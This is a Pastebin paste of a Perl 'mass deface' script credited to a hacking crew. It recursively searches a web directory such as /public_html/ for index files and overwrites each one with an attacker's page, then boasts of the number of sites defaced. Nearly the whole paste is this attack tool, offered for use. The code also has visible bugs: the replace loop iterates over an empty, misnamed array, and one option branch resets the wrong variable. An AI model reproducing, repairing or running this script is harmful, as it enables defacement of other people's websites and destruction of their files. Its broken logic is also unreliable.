Advertisement
Kyfx

Perl Mass Deface Script V2 Credits by Written by & ziGGy

Mar 21st, 2015
385
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.71 KB | None | 0 0
  1.  
  2.  
  3. print"############################################ ###### ############################\n";
  4. print"########################## Mass Deface tool V.1.0 ############################\n";
  5. print"################### -=[Written by ziGGy from CyberLords Team]=- #######################\n";
  6. print"#################### Our site : [Only registered and activated users can see links] ###############################\n";
  7. print"############################################ ###### ###################################\n";
  8. print"Usage:\n";
  9. print"perl cybl-mass.pl -d /public_html/ -f index. -n /permission_dir/index.html\n";
  10. print"Options :\n";
  11. print"-d Files directory\n";
  12. print"-f File name that you want to replace\n";
  13. print"-n Your new file with which you want to be replaced.\n";
  14. print"############################################ ###### ###############################\n";
  15. use Getopt::Std;
  16. getopts('d:f:n:', \%args);
  17. if (defined($args{'d'})){
  18. $dir=$args{'d'};
  19. }
  20. else
  21. {
  22. $dir="";
  23. }
  24. if (defined($args{'f'})){
  25. $file=$args{'f'};
  26. }
  27. else
  28. {
  29. $dir="";
  30. }
  31. if (defined($args{'n'})){
  32. $newfile=$args{'n'};
  33. }
  34. else
  35. {
  36. $newfile="";
  37. }
  38.  
  39. print $about;
  40.  
  41. $dok="[+] Ok, The Directory is : $dir";
  42. $fok="[+] Ok, The replaceing file is : $file";
  43. $newfok="[+] Ok, The new file is : $newfile";
  44.  
  45. if("$dir") {
  46. print "$dok\n";
  47. sleep(1);
  48. }
  49. else
  50. {
  51. print "Error placing in the directory.";
  52. }
  53. if("$file") {
  54. print "$fok\n";
  55. sleep(1);
  56. }
  57. else
  58. {
  59. print "";
  60. exit();
  61. }
  62. if("$newfile") {
  63. print "$newfok\n";
  64. sleep(1);
  65. }
  66. else
  67. {
  68. print "";
  69. exit();
  70. }
  71.  
  72.  
  73. printf "[+] Searching archive['s]\n";
  74. my @exch;
  75. find($dir, sub { push(@exch, $_[0]) if ($_[0] =~ /$file/i) });
  76. my $kol = scalar(@exch);
  77.  
  78. if($kol<=0) {
  79. print "[-] Something isn't good and an error acurred.\n";
  80. exit();
  81. }
  82.  
  83. printf "[+] Ok, $kol Files found...\n";
  84. sleep(1);
  85. printf "[+] Replacing the files.\n";
  86. open(NEW, "< $newfile");
  87. foreach $files(@troca)
  88. {
  89. open(FILE, "> $files");
  90. while (<NEW>) {
  91. print FILE $_;
  92. }
  93. close(FILE);
  94. seek(NEW, 0, 0);
  95. }
  96. close(NEW);
  97. sleep(1);
  98. printf "[+] Replacing the files succesfull!\n";
  99. sleep(1);
  100. printf "[+] In total you defaced: $kol sites!\n";
  101. sub find {
  102. my ($path, $callback) = @_;
  103. $path = '/' unless $path;
  104. $path =~ s/^\/+/\//;
  105. $path =~ s/\/$//;
  106. my @files = list_dir($path);
  107. my @dirs;
  108. foreach my $file (@files) {
  109. my $filepath = $path.'/'.$file;
  110. &{$callback}($filepath);
  111. push(@dirs, $filepath) if (-d $filepath);
  112. }
  113. undef(@files);
  114. map { find($_, $callback) } @dirs;
  115. return(1);
  116. }
  117. sub list_dir {
  118. my ($dir, $dont_list_subdirs) = @_;
  119. opendir(DIR, $dir) || return();
  120. my @files = readdir(DIR);
  121. closedir(DIR);
  122. @files = grep { !-d "$dir/$_" } @files if ($dont_list_subdirs);
  123. my @files = grep { $_ !~ /^(\.){1,2}$/ } @files;
  124. return(@files);
  125. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement